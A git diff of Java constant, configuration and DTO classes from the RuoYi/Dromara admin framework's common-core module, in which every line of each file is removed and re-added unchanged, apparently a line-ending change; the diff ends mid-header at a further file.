--- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/properties/ThreadPoolProperties.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/config/properties/ThreadPoolProperties.java @@ -1,30 +1,30 @@ -package org.dromara.common.core.config.properties; - -import lombok.Data; -import org.springframework.boot.context.properties.ConfigurationProperties; - -/** - * 线程池 配置属性 - * - * @author Lion Li - */ -@Data -@ConfigurationProperties(prefix = "thread-pool") -public class ThreadPoolProperties { - - /** - * 是否开启线程池 - */ - private boolean enabled; - - /** - * 队列最大长度 - */ - private int queueCapacity; - - /** - * 线程池维护线程所允许的空闲时间 - */ - private int keepAliveSeconds; - -} +package org.dromara.common.core.config.properties; + +import lombok.Data; +import org.springframework.boot.context.properties.ConfigurationProperties; + +/** + * 线程池 配置属性 + * + * @author Lion Li + */ +@Data +@ConfigurationProperties(prefix = "thread-pool") +public class ThreadPoolProperties { + + /** + * 是否开启线程池 + */ + private boolean enabled; + + /** + * 队列最大长度 + */ + private int queueCapacity; + + /** + * 线程池维护线程所允许的空闲时间 + */ + private int keepAliveSeconds; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheConstants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheConstants.java index ceb8370..d4dcb38 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheConstants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheConstants.java @@ -1,30 +1,30 @@ -package org.dromara.common.core.constant; - -/** - * 缓存的key 常量 - * - * @author Lion Li - */ -public interface CacheConstants { - - /** - * 在线用户 redis key - */ - String ONLINE_TOKEN_KEY = "online_tokens:"; - - /** - * 参数管理 cache key - */ - String SYS_CONFIG_KEY = "sys_config:"; - - /** - * 字典管理 cache key - */ - String SYS_DICT_KEY = "sys_dict:"; - - /** - * 登录账户密码错误次数 redis key - */ - String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; - -} +package org.dromara.common.core.constant; + +/** + * 缓存的key 常量 + * + * @author Lion Li + */ +public interface CacheConstants { + + /** + * 在线用户 redis key + */ + String ONLINE_TOKEN_KEY = "online_tokens:"; + + /** + * 参数管理 cache key + */ + String SYS_CONFIG_KEY = "sys_config:"; + + /** + * 字典管理 cache key + */ + String SYS_DICT_KEY = "sys_dict:"; + + /** + * 登录账户密码错误次数 redis key + */ + String PWD_ERR_CNT_KEY = "pwd_err_cnt:"; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheNames.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheNames.java index bf8efc5..4464e83 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheNames.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/CacheNames.java @@ -1,83 +1,83 @@ -package org.dromara.common.core.constant; - -/** - * 缓存组名称常量 - *

- * key 格式为 cacheNames#ttl#maxIdleTime#maxSize - *

- * ttl 过期时间 如果设置为0则不过期 默认为0 - * maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0 - * maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0 - *

- * 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500 - * - * @author Lion Li - */ -public interface CacheNames { - - /** - * 演示案例 - */ - String DEMO_CACHE = "demo:cache#60s#10m#20"; - - /** - * 系统配置 - */ - String SYS_CONFIG = "sys_config"; - - /** - * 数据字典 - */ - String SYS_DICT = "sys_dict"; - - /** - * 租户 - */ - String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d"; - - /** - * 客户端 - */ - String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d"; - - /** - * 用户账户 - */ - String SYS_USER_NAME = "sys_user_name#30d"; - - /** - * 用户名称 - */ - String SYS_NICKNAME = "sys_nickname#30d"; - - /** - * 部门 - */ - String SYS_DEPT = "sys_dept#30d"; - - /** - * OSS内容 - */ - String SYS_OSS = "sys_oss#30d"; - - /** - * 角色自定义权限 - */ - String SYS_ROLE_CUSTOM = "sys_role_custom#30d"; - - /** - * 部门及以下权限 - */ - String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d"; - - /** - * OSS配置 - */ - String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config"; - - /** - * 在线用户 - */ - String ONLINE_TOKEN = "online_tokens"; - -} +package org.dromara.common.core.constant; + +/** + * 缓存组名称常量 + *

+ * key 格式为 cacheNames#ttl#maxIdleTime#maxSize + *

+ * ttl 过期时间 如果设置为0则不过期 默认为0 + * maxIdleTime 最大空闲时间 根据LRU算法清理空闲数据 如果设置为0则不检测 默认为0 + * maxSize 组最大长度 根据LRU算法清理溢出数据 如果设置为0则无限长 默认为0 + *

+ * 例子: test#60s、test#0#60s、test#0#1m#1000、test#1h#0#500 + * + * @author Lion Li + */ +public interface CacheNames { + + /** + * 演示案例 + */ + String DEMO_CACHE = "demo:cache#60s#10m#20"; + + /** + * 系统配置 + */ + String SYS_CONFIG = "sys_config"; + + /** + * 数据字典 + */ + String SYS_DICT = "sys_dict"; + + /** + * 租户 + */ + String SYS_TENANT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_tenant#30d"; + + /** + * 客户端 + */ + String SYS_CLIENT = GlobalConstants.GLOBAL_REDIS_KEY + "sys_client#30d"; + + /** + * 用户账户 + */ + String SYS_USER_NAME = "sys_user_name#30d"; + + /** + * 用户名称 + */ + String SYS_NICKNAME = "sys_nickname#30d"; + + /** + * 部门 + */ + String SYS_DEPT = "sys_dept#30d"; + + /** + * OSS内容 + */ + String SYS_OSS = "sys_oss#30d"; + + /** + * 角色自定义权限 + */ + String SYS_ROLE_CUSTOM = "sys_role_custom#30d"; + + /** + * 部门及以下权限 + */ + String SYS_DEPT_AND_CHILD = "sys_dept_and_child#30d"; + + /** + * OSS配置 + */ + String SYS_OSS_CONFIG = GlobalConstants.GLOBAL_REDIS_KEY + "sys_oss_config"; + + /** + * 在线用户 + */ + String ONLINE_TOKEN = "online_tokens"; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/Constants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/Constants.java index d031921..c8d284f 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/Constants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/Constants.java @@ -1,76 +1,76 @@ -package org.dromara.common.core.constant; - -/** - * 通用常量信息 - * - * @author ruoyi - */ -public interface Constants { - - /** - * UTF-8 字符集 - */ - String UTF8 = "UTF-8"; - - /** - * GBK 字符集 - */ - String GBK = "GBK"; - - /** - * www主域 - */ - String WWW = "www."; - - /** - * http请求 - */ - String HTTP = "http://"; - - /** - * https请求 - */ - String HTTPS = "https://"; - - /** - * 通用成功标识 - */ - String SUCCESS = "0"; - - /** - * 通用失败标识 - */ - String FAIL = "1"; - - /** - * 登录成功 - */ - String LOGIN_SUCCESS = "Success"; - - /** - * 注销 - */ - String LOGOUT = "Logout"; - - /** - * 注册 - */ - String REGISTER = "Register"; - - /** - * 登录失败 - */ - String LOGIN_FAIL = "Error"; - - /** - * 验证码有效期(分钟) - */ - Integer CAPTCHA_EXPIRATION = 2; - - /** - * 顶级部门id - */ - Long TOP_PARENT_ID = 0L; - -} - +package org.dromara.common.core.constant; + +/** + * 通用常量信息 + * + * @author ruoyi + */ +public interface Constants { + + /** + * UTF-8 字符集 + */ + String UTF8 = "UTF-8"; + + /** + * GBK 字符集 + */ + String GBK = "GBK"; + + /** + * www主域 + */ + String WWW = "www."; + + /** + * http请求 + */ + String HTTP = "http://"; + + /** + * https请求 + */ + String HTTPS = "https://"; + + /** + * 通用成功标识 + */ + String SUCCESS = "0"; + + /** + * 通用失败标识 + */ + String FAIL = "1"; + + /** + * 登录成功 + */ + String LOGIN_SUCCESS = "Success"; + + /** + * 注销 + */ + String LOGOUT = "Logout"; + + /** + * 注册 + */ + String REGISTER = "Register"; + + /** + * 登录失败 + */ + String LOGIN_FAIL = "Error"; + + /** + * 验证码有效期(分钟) + */ + Integer CAPTCHA_EXPIRATION = 2; + + /** + * 顶级部门id + */ + Long TOP_PARENT_ID = 0L; + +} + diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/GlobalConstants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/GlobalConstants.java index 5352b11..fb9b286 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/GlobalConstants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/GlobalConstants.java @@ -1,34 +1,34 @@ -package org.dromara.common.core.constant; - -/** - * 全局的key常量 (业务无关的key) - * - * @author Lion Li - */ -public interface GlobalConstants { - - /** - * 全局 redis key (业务无关的key) - */ - String GLOBAL_REDIS_KEY = "global:"; - - /** - * 验证码 redis key - */ - String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:"; - - /** - * 防重提交 redis key - */ - String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:"; - - /** - * 限流 redis key - */ - String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:"; - - /** - * 三方认证 redis key - */ - String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:"; -} +package org.dromara.common.core.constant; + +/** + * 全局的key常量 (业务无关的key) + * + * @author Lion Li + */ +public interface GlobalConstants { + + /** + * 全局 redis key (业务无关的key) + */ + String GLOBAL_REDIS_KEY = "global:"; + + /** + * 验证码 redis key + */ + String CAPTCHA_CODE_KEY = GLOBAL_REDIS_KEY + "captcha_codes:"; + + /** + * 防重提交 redis key + */ + String REPEAT_SUBMIT_KEY = GLOBAL_REDIS_KEY + "repeat_submit:"; + + /** + * 限流 redis key + */ + String RATE_LIMIT_KEY = GLOBAL_REDIS_KEY + "rate_limit:"; + + /** + * 三方认证 redis key + */ + String SOCIAL_AUTH_CODE_KEY = GLOBAL_REDIS_KEY + "social_auth_codes:"; +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/HttpStatus.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/HttpStatus.java index 85566e8..f6f85e1 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/HttpStatus.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/HttpStatus.java @@ -1,93 +1,93 @@ -package org.dromara.common.core.constant; - -/** - * 返回状态码 - * - * @author Lion Li - */ -public interface HttpStatus { - /** - * 操作成功 - */ - int SUCCESS = 200; - - /** - * 对象创建成功 - */ - int CREATED = 201; - - /** - * 请求已经被接受 - */ - int ACCEPTED = 202; - - /** - * 操作已经执行成功,但是没有返回数据 - */ - int NO_CONTENT = 204; - - /** - * 资源已被移除 - */ - int MOVED_PERM = 301; - - /** - * 重定向 - */ - int SEE_OTHER = 303; - - /** - * 资源没有被修改 - */ - int NOT_MODIFIED = 304; - - /** - * 参数列表错误(缺少,格式不匹配) - */ - int BAD_REQUEST = 400; - - /** - * 未授权 - */ - int UNAUTHORIZED = 401; - - /** - * 访问受限,授权过期 - */ - int FORBIDDEN = 403; - - /** - * 资源,服务未找到 - */ - int NOT_FOUND = 404; - - /** - * 不允许的http方法 - */ - int BAD_METHOD = 405; - - /** - * 资源冲突,或者资源被锁 - */ - int CONFLICT = 409; - - /** - * 不支持的数据,媒体类型 - */ - int UNSUPPORTED_TYPE = 415; - - /** - * 系统内部错误 - */ - int ERROR = 500; - - /** - * 接口未实现 - */ - int NOT_IMPLEMENTED = 501; - - /** - * 系统警告消息 - */ - int WARN = 601; -} +package org.dromara.common.core.constant; + +/** + * 返回状态码 + * + * @author Lion Li + */ +public interface HttpStatus { + /** + * 操作成功 + */ + int SUCCESS = 200; + + /** + * 对象创建成功 + */ + int CREATED = 201; + + /** + * 请求已经被接受 + */ + int ACCEPTED = 202; + + /** + * 操作已经执行成功,但是没有返回数据 + */ + int NO_CONTENT = 204; + + /** + * 资源已被移除 + */ + int MOVED_PERM = 301; + + /** + * 重定向 + */ + int SEE_OTHER = 303; + + /** + * 资源没有被修改 + */ + int NOT_MODIFIED = 304; + + /** + * 参数列表错误(缺少,格式不匹配) + */ + int BAD_REQUEST = 400; + + /** + * 未授权 + */ + int UNAUTHORIZED = 401; + + /** + * 访问受限,授权过期 + */ + int FORBIDDEN = 403; + + /** + * 资源,服务未找到 + */ + int NOT_FOUND = 404; + + /** + * 不允许的http方法 + */ + int BAD_METHOD = 405; + + /** + * 资源冲突,或者资源被锁 + */ + int CONFLICT = 409; + + /** + * 不支持的数据,媒体类型 + */ + int UNSUPPORTED_TYPE = 415; + + /** + * 系统内部错误 + */ + int ERROR = 500; + + /** + * 接口未实现 + */ + int NOT_IMPLEMENTED = 501; + + /** + * 系统警告消息 + */ + int WARN = 601; +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/RegexConstants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/RegexConstants.java index 77eed8c..419f652 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/RegexConstants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/RegexConstants.java @@ -1,54 +1,54 @@ -package org.dromara.common.core.constant; - -import cn.hutool.core.lang.RegexPool; - -/** - * 常用正则表达式字符串 - *

- * 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/ - * - * @author Feng - */ -public interface RegexConstants extends RegexPool { - - /** - * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) - */ - String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$"; - - /** - * 权限标识必须符合 tool:build:list 格式,或者空字符串 - */ - String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$"; - - /** - * 身份证号码(后6位) - */ - String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$"; - - /** - * QQ号码 - */ - String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$"; - - /** - * 邮政编码 - */ - String POSTAL_CODE = "^[1-9]\\d{5}$"; - - /** - * 注册账号 - */ - String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$"; - - /** - * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 - */ - String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$"; - - /** - * 通用状态(0表示正常,1表示停用) - */ - String STATUS = "^[01]$"; - -} +package org.dromara.common.core.constant; + +import cn.hutool.core.lang.RegexPool; + +/** + * 常用正则表达式字符串 + *

+ * 常用正则表达式集合,更多正则见: https://any86.github.io/any-rule/ + * + * @author Feng + */ +public interface RegexConstants extends RegexPool { + + /** + * 字典类型必须以字母开头,且只能为(小写字母,数字,下滑线) + */ + String DICTIONARY_TYPE = "^[a-z][a-z0-9_]*$"; + + /** + * 权限标识必须符合 tool:build:list 格式,或者空字符串 + */ + String PERMISSION_STRING = "^(|^[a-zA-Z0-9_]+:[a-zA-Z0-9_]+:[a-zA-Z0-9_]+)$"; + + /** + * 身份证号码(后6位) + */ + String ID_CARD_LAST_6 = "^(([0-2][1-9])|10|20|30|31)\\d{3}[0-9Xx]$"; + + /** + * QQ号码 + */ + String QQ_NUMBER = "^[1-9][0-9]\\d{4,9}$"; + + /** + * 邮政编码 + */ + String POSTAL_CODE = "^[1-9]\\d{5}$"; + + /** + * 注册账号 + */ + String ACCOUNT = "^[a-zA-Z][a-zA-Z0-9_]{4,15}$"; + + /** + * 密码:包含至少8个字符,包括大写字母、小写字母、数字和特殊字符 + */ + String PASSWORD = "^(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{8,}$"; + + /** + * 通用状态(0表示正常,1表示停用) + */ + String STATUS = "^[01]$"; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/SystemConstants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/SystemConstants.java index 79afb95..dfe85a3 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/SystemConstants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/SystemConstants.java @@ -1,70 +1,70 @@ -package org.dromara.common.core.constant; - -/** - * 用户常量信息 - * - * @author Lion Li - */ -public interface SystemConstants { - - /** - * 正常状态 - */ - String NORMAL = "0"; - - /** - * 异常状态 - */ - String DISABLE = "1"; - - /** - * 是否为系统默认(是) - */ - String YES = "Y"; - - /** - * 是否菜单外链(是) - */ - String YES_FRAME = "0"; - - /** - * 是否菜单外链(否) - */ - String NO_FRAME = "1"; - - /** - * 菜单类型(目录) - */ - String TYPE_DIR = "M"; - - /** - * 菜单类型(菜单) - */ - String TYPE_MENU = "C"; - - /** - * 菜单类型(按钮) - */ - String TYPE_BUTTON = "F"; - - /** - * Layout组件标识 - */ - String LAYOUT = "Layout"; - - /** - * ParentView组件标识 - */ - String PARENT_VIEW = "ParentView"; - - /** - * InnerLink组件标识 - */ - String INNER_LINK = "InnerLink"; - - /** - * 超级管理员ID - */ - Long SUPER_ADMIN_ID = 1L; - -} +package org.dromara.common.core.constant; + +/** + * 用户常量信息 + * + * @author Lion Li + */ +public interface SystemConstants { + + /** + * 正常状态 + */ + String NORMAL = "0"; + + /** + * 异常状态 + */ + String DISABLE = "1"; + + /** + * 是否为系统默认(是) + */ + String YES = "Y"; + + /** + * 是否菜单外链(是) + */ + String YES_FRAME = "0"; + + /** + * 是否菜单外链(否) + */ + String NO_FRAME = "1"; + + /** + * 菜单类型(目录) + */ + String TYPE_DIR = "M"; + + /** + * 菜单类型(菜单) + */ + String TYPE_MENU = "C"; + + /** + * 菜单类型(按钮) + */ + String TYPE_BUTTON = "F"; + + /** + * Layout组件标识 + */ + String LAYOUT = "Layout"; + + /** + * ParentView组件标识 + */ + String PARENT_VIEW = "ParentView"; + + /** + * InnerLink组件标识 + */ + String INNER_LINK = "InnerLink"; + + /** + * 超级管理员ID + */ + Long SUPER_ADMIN_ID = 1L; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/TenantConstants.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/TenantConstants.java index 33ce0cf..2ba2417 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/TenantConstants.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/constant/TenantConstants.java @@ -1,35 +1,35 @@ -package org.dromara.common.core.constant; - -/** - * 租户常量信息 - * - * @author Lion Li - */ -public interface TenantConstants { - - /** - * 超级管理员ID - */ - Long SUPER_ADMIN_ID = 1L; - - /** - * 超级管理员角色 roleKey - */ - String SUPER_ADMIN_ROLE_KEY = "superadmin"; - - /** - * 租户管理员角色 roleKey - */ - String TENANT_ADMIN_ROLE_KEY = "admin"; - - /** - * 租户管理员角色名称 - */ - String TENANT_ADMIN_ROLE_NAME = "管理员"; - - /** - * 默认租户ID - */ - String DEFAULT_TENANT_ID = "000000"; - -} +package org.dromara.common.core.constant; + +/** + * 租户常量信息 + * + * @author Lion Li + */ +public interface TenantConstants { + + /** + * 超级管理员ID + */ + Long SUPER_ADMIN_ID = 1L; + + /** + * 超级管理员角色 roleKey + */ + String SUPER_ADMIN_ROLE_KEY = "superadmin"; + + /** + * 租户管理员角色 roleKey + */ + String TENANT_ADMIN_ROLE_KEY = "admin"; + + /** + * 租户管理员角色名称 + */ + String TENANT_ADMIN_ROLE_NAME = "管理员"; + + /** + * 默认租户ID + */ + String DEFAULT_TENANT_ID = "000000"; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/R.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/R.java index 3cb1cc4..03eb49c 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/R.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/R.java @@ -1,110 +1,110 @@ -package org.dromara.common.core.domain; - -import lombok.Data; -import lombok.NoArgsConstructor; -import org.dromara.common.core.constant.HttpStatus; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 响应信息主体 - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -public class R implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 成功 - */ - public static final int SUCCESS = 200; - - /** - * 失败 - */ - public static final int FAIL = 500; - - private int code; - - private String msg; - - private T data; - - public static R ok() { - return restResult(null, SUCCESS, "操作成功"); - } - - public static R ok(T data) { - return restResult(data, SUCCESS, "操作成功"); - } - - public static R ok(String msg) { - return restResult(null, SUCCESS, msg); - } - - public static R ok(String msg, T data) { - return restResult(data, SUCCESS, msg); - } - - public static R fail() { - return restResult(null, FAIL, "操作失败"); - } - - public static R fail(String msg) { - return restResult(null, FAIL, msg); - } - - public static R fail(T data) { - return restResult(data, FAIL, "操作失败"); - } - - public static R fail(String msg, T data) { - return restResult(data, FAIL, msg); - } - - public static R fail(int code, String msg) { - return restResult(null, code, msg); - } - - /** - * 返回警告消息 - * - * @param msg 返回内容 - * @return 警告消息 - */ - public static R warn(String msg) { - return restResult(null, HttpStatus.WARN, msg); - } - - /** - * 返回警告消息 - * - * @param msg 返回内容 - * @param data 数据对象 - * @return 警告消息 - */ - public static R warn(String msg, T data) { - return restResult(data, HttpStatus.WARN, msg); - } - - private static R restResult(T data, int code, String msg) { - R r = new R<>(); - r.setCode(code); - r.setData(data); - r.setMsg(msg); - return r; - } - - public static Boolean isError(R ret) { - return !isSuccess(ret); - } - - public static Boolean isSuccess(R ret) { - return R.SUCCESS == ret.getCode(); - } -} +package org.dromara.common.core.domain; + +import lombok.Data; +import lombok.NoArgsConstructor; +import org.dromara.common.core.constant.HttpStatus; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 响应信息主体 + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +public class R implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 成功 + */ + public static final int SUCCESS = 200; + + /** + * 失败 + */ + public static final int FAIL = 500; + + private int code; + + private String msg; + + private T data; + + public static R ok() { + return restResult(null, SUCCESS, "操作成功"); + } + + public static R ok(T data) { + return restResult(data, SUCCESS, "操作成功"); + } + + public static R ok(String msg) { + return restResult(null, SUCCESS, msg); + } + + public static R ok(String msg, T data) { + return restResult(data, SUCCESS, msg); + } + + public static R fail() { + return restResult(null, FAIL, "操作失败"); + } + + public static R fail(String msg) { + return restResult(null, FAIL, msg); + } + + public static R fail(T data) { + return restResult(data, FAIL, "操作失败"); + } + + public static R fail(String msg, T data) { + return restResult(data, FAIL, msg); + } + + public static R fail(int code, String msg) { + return restResult(null, code, msg); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @return 警告消息 + */ + public static R warn(String msg) { + return restResult(null, HttpStatus.WARN, msg); + } + + /** + * 返回警告消息 + * + * @param msg 返回内容 + * @param data 数据对象 + * @return 警告消息 + */ + public static R warn(String msg, T data) { + return restResult(data, HttpStatus.WARN, msg); + } + + private static R restResult(T data, int code, String msg) { + R r = new R<>(); + r.setCode(code); + r.setData(data); + r.setMsg(msg); + return r; + } + + public static Boolean isError(R ret) { + return !isSuccess(ret); + } + + public static Boolean isSuccess(R ret) { + return R.SUCCESS == ret.getCode(); + } +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/OssDTO.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/OssDTO.java index 463821c..4032da9 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/OssDTO.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/OssDTO.java @@ -1,46 +1,46 @@ -package org.dromara.common.core.domain.dto; - -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.io.Serial; -import java.io.Serializable; - -/** - * OSS对象 - * - * @author Lion Li - */ -@Data -@NoArgsConstructor -public class OssDTO implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 对象存储主键 - */ - private Long ossId; - - /** - * 文件名 - */ - private String fileName; - - /** - * 原名 - */ - private String originalName; - - /** - * 文件后缀名 - */ - private String fileSuffix; - - /** - * URL地址 - */ - private String url; - -} +package org.dromara.common.core.domain.dto; + +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serial; +import java.io.Serializable; + +/** + * OSS对象 + * + * @author Lion Li + */ +@Data +@NoArgsConstructor +public class OssDTO implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 对象存储主键 + */ + private Long ossId; + + /** + * 文件名 + */ + private String fileName; + + /** + * 原名 + */ + private String originalName; + + /** + * 文件后缀名 + */ + private String fileSuffix; + + /** + * URL地址 + */ + private String url; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/RoleDTO.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/RoleDTO.java index aea8e7a..959a0c4 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/RoleDTO.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/RoleDTO.java @@ -1,42 +1,42 @@ -package org.dromara.common.core.domain.dto; - -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 角色 - * - * @author Lion Li - */ - -@Data -@NoArgsConstructor -public class RoleDTO implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 角色ID - */ - private Long roleId; - - /** - * 角色名称 - */ - private String roleName; - - /** - * 角色权限 - */ - private String roleKey; - - /** - * 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) - */ - private String dataScope; - -} +package org.dromara.common.core.domain.dto; + +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 角色 + * + * @author Lion Li + */ + +@Data +@NoArgsConstructor +public class RoleDTO implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 角色ID + */ + private Long roleId; + + /** + * 角色名称 + */ + private String roleName; + + /** + * 角色权限 + */ + private String roleKey; + + /** + * 数据范围(1:所有数据权限;2:自定义数据权限;3:本部门数据权限;4:本部门及以下数据权限;5:仅本人数据权限) + */ + private String dataScope; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserDTO.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserDTO.java index cb5def9..d51f19e 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserDTO.java +++ b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserDTO.java @@ -1,73 +1,73 @@ -package org.dromara.common.core.domain.dto; - -import lombok.Data; -import lombok.NoArgsConstructor; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - -/** - * 用户 - * - * @author Michelle.Chung - */ -@Data -@NoArgsConstructor -public class UserDTO implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 用户ID - */ - private Long userId; - - /** - * 部门ID - */ - private Long deptId; - - /** - * 用户账号 - */ - private String userName; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 用户类型(sys_user系统用户) - */ - private String userType; - - /** - * 用户邮箱 - */ - private String email; - - /** - * 手机号码 - */ - private String phonenumber; - - /** - * 用户性别(0男 1女 2未知) - */ - private String sex; - - /** - * 帐号状态(0正常 1停用) - */ - private String status; - - /** - * 创建时间 - */ - private Date createTime; - -} +package org.dromara.common.core.domain.dto; + +import lombok.Data; +import lombok.NoArgsConstructor; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + +/** + * 用户 + * + * @author Michelle.Chung + */ +@Data +@NoArgsConstructor +public class UserDTO implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 用户ID + */ + private Long userId; + + /** + * 部门ID + */ + private Long deptId; + + /** + * 用户账号 + */ + private String userName; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 用户类型(sys_user系统用户) + */ + private String userType; + + /** + * 用户邮箱 + */ + private String email; + + /** + * 手机号码 + */ + private String phonenumber; + + /** + * 用户性别(0男 1女 2未知) + */ + private String sex; + + /** + * 帐号状态(0正常 1停用) + */ + private String status; + + /** + * 创建时间 + */ + private Date createTime; + +} diff --git a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserOnlineDTO.java b/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserOnlineDTO.java index 43d8c3c..3f6f5d3 100644 --- a/ruoyi-common/ruoyi-common-core/src/main/java/org/dromara/common/core/domain/dto/UserOnlineDTO.java +++ 